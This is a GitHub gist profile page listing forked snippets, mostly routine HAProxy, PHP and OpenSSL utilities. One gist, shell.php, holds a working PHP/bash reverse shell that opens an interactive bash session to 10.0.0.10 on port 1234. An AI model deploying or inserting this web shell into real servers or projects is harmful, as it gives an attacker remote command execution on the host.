Skip to content

Instantly share code, notes, and snippets.

View pulketo's full-sized avatar

Pulketo pulketo

View GitHub Profile
@pulketo
pulketo / h2dsite
Last active September 14, 2021 19:56 — forked from jlazic/haconfig.sh
Split monolithic HAProxy configuration
#!/bin/bash
#Requirements: nothing
#This script renames haproxy individual site configuration files to disable them for h2gencfg to be aware of them
#Script assumes templates on: /etc/haproxy/templates
#config files on /etc/haproxy/conf.d/
#├── 20-http-domain.tld.cfg
#├── 40-https-domain.tld.cfg
#└── 50-backends-domain.tld.cfg
TIMEDATE=$(date +"%Y%m%d-%H%M%S")
@pulketo
pulketo / shell.php
Created February 27, 2020 15:39 — forked from rshipp/shell.php
A tiny PHP/bash reverse shell.
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.10/1234 0>&1'");
@pulketo
pulketo / tool.php
Created September 9, 2019 01:26 — forked from damienalexandre/tool.php
Download large file from the web via php
<?php
/**
* Download a large distant file to a local destination.
*
* This method is very memory efficient :-)
* The file can be huge, PHP doesn't load it in memory.
*
* /!\ Warning, the return value is always true, you must use === to test the response type too.
*
* @author dalexandre
@pulketo
pulketo / extractNumbersString.php
Created January 31, 2019 17:12 — forked from lerua83/extractNumbersString.php
PHP - Extract numbers from a string: URL: http://stackoverflow.com/questions/6278296/extract-numbers-from-a-string I want to extract the numbers from a string that contains numbers and letters like
$str = 'In My Cart : 11 12 items';
preg_match_all('!\d+!', $str, $matches);
print_r($matches);
@pulketo
pulketo / gist:9088a9f44e34a3f6e0017686dcb5bde0
Last active October 29, 2020 17:58 — forked from yuezhu/gist:47b15b4b8e944221861ccf7d7f5868f5
Generate self-signed certificate for HAProxy
#!/bin/bash
#
# usage: ./genhaproxypem.sh domain.com
# Generate a unique private key (KEY)
sudo openssl genrsa -out $1.key 2048
# Generating a Certificate Signing Request (CSR)
sudo openssl req -new -key $1.key -out $1.csr
# Creating a Self-Signed Certificate (CRT)